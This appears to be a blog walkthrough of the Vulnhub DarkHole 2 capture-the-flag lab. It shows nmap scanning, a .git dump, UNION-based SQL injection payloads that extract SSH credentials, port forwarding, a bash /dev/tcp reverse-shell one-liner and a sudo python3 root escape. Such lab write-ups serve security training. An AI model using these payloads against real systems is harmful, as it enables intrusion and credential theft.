Capture the Flag (CTF) Challenge

Methodology

Reconnaissance and network scanning (netdiscover, nmap)
Enumeration (nmap, git dump, backup logs)
Exploitation (manual SQL injection, ssh)
Privilege Escalation (port forwarding, reverse shell, bash log history, root flag)

*Begin*

We scanned the local devices around us to find our target. DHCP is enabled and VMWare assigns automatic IP address to the machine.

Upon locating the target device, we did a port scanning to see available services; using aggressive scan to identify potential exposed vulnerabilities, service versions, and the underlying operating system.

nmap -sS -sV - version-all -O - osscan-guess -A -sC -Pn - script vuln -T5 -p- 192.168.177.132 -oA /root/Desktop/CTF

We could have also further enumerated the webpage’s directories to reveal some interesting directories to study but just using nmap seemed more straightforward to us.

Looking at the page website, we discovered nothing valuable other than the login page we’d found earlier.

Now to target, we had the login page, the found git folder directory, and ssh service on hand.

Unfortunately, this login page didn’t suffer from SQL injection commands we tried (most probably there was input sanitization) and the source code did not yield any clues. So, we went back to the ‘.git’ repository we found earlier during the nmap scan.

We downloaded the /.git repository locally to our machine.

wget -r http://192.168.177.132/.git

Upon exploring the files in the ‘.git’ directory, we found out a code that was indeed sanitizing the provided inputs to prevent SQL injection in one of the login.php files.

Press enter or click to view image in full size

escaping direct input

We then checked the git logs and came across clear credentials.

And utilized these credentials to access the web application as a legit user.

Now we had two ways to try out SQL injection again. One was through manually entering sql commands while interacting with the url, and the other was through using the tool ‘sqlmap’. Note that if you use the tool ‘sqlmap’ you need to capture the session cookie. Anyway, we manually tried bunch of sql commands.

We noticed there the GET parameter called ‘id=’, modifying its value resulted in changes on the page.

The values we saw earlier disappeared because there wasn’t a user with an ID of ‘null.’ This sort of implied ‘users’ table had at least five columns like full name, email, and so on, including ‘id.’ To further test the website’s responses, we continued injecting some random sql commands.

adding apostrophe to the end string resulting in a blank page

We mostly benefited from the UNION query. However, while performing the UNION operation, we needed to identify the number of columns on that target table. For that, we used the ORDER BY query to see how many columns it stored.

id=1' ORDER BY 5 -- -
id=1' ORDER BY 6 -- -
id=1' ORDER BY 7 -- -

‘ORDER BY 7’ gave an error. We could now be sure there wasn’t a 7th column next because we’d just gotten an error.

Get _m1le5’s stories in your inbox

Join Medium for free to get updates from this writer.

The following command then produced the outputs shown in Figure below.

id=NULL' UNION ALL SELECT 1,2,3,4,5,6 -- -

The original values were replaced by the SELECT query joined using UNION

We noticed columns 2, 3, 5, and 6 are reflected in the user interface, indicating that these columns could be further used to dump data. Previously, we had identified the database name as ‘darkhole_2’ from the ‘config.php’ file. But you could also find this database name out by entering the following sql command:

id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata -- -

We wanted to see the entire output so viewed the source code displaying the database name from our query.

We could further interact to list and display the tables of the ‘darkhole_2’ database.

id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2'-- -

Upon trying, we were able to see there is a table called ‘ssh’. We now needed to find the column names of the table with the command below:

id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh'-- -

We tried extracting more information from the ‘ssh’ table for the user credentials and used the command below:

id=NULL' UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh-- -

Finding a credential seeming output string, we tried authenticating as the user ‘jehad’ using the password ‘fool’.

We were successful. We proceeded to look for files and checked ‘crontabs’ as well as bash history to look for anything interesting under this user.

crontab output

Here, we saw a bunch of web requests that had been made to this local port and something already running on localhost:port 9999.

We started looking at the web-related files and came across a code in the ‘index.php’ file that would allow us to do remote command execution on the web page url.

We grabbed an ssh command that included port forwarding and tunneled port 9999 through our system by creating a ssh tunnel between our local machine and the remote server. Any connection we now made to our localhost port would be forwarded to the localhost on the remote server .

ssh -L 9999:127.0.0.1:9999 jehad@192.168.177.132

Visiting the forwarded port on our local system

Knowing that the site accepted GET requests from the ‘index.php’ code, we continued interacting with the current target system by adding a ‘cmd=id’ parameter to the end of the url. Seeing that the code execution produced a desired output, we tried to see if we could get a reverse shell as this user so started listening on port 9005 on our local system.

nc -nlvp 9005

We used the following payload for the reverse shell.

bash -c 'bash -i >& /dev/tcp/192.168.177.132/9001 0>&1'

Below is the encoded version of the above command in url format:

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.177.132%2F9001%200%3E%261%27

We received a reverse shell, connecting as the user ‘losy’.

Upon enumeration under this user, we found logs of entered commands from the ‘.bash_history file’ and saw a clear text password that had been entered before.

Bash history has a password of the user losy

After upgrading the shell to have the ability to authenticate (see reference here: https://gtfobins.github.io/gtfobins/python/#sudo), we proceeded to sign in as the user ‘losy’ and spawned a new interactive system shell. This allowed us to break out of the restricted environment of the ‘losy’ user and gain root privileges.

sudo python3 -c 'import os; os.system("/bin/bash")'

We captured the flag.

*End*

Vulnhub: DarkHole 2

Methodology

Get _m1le5’s stories in your inbox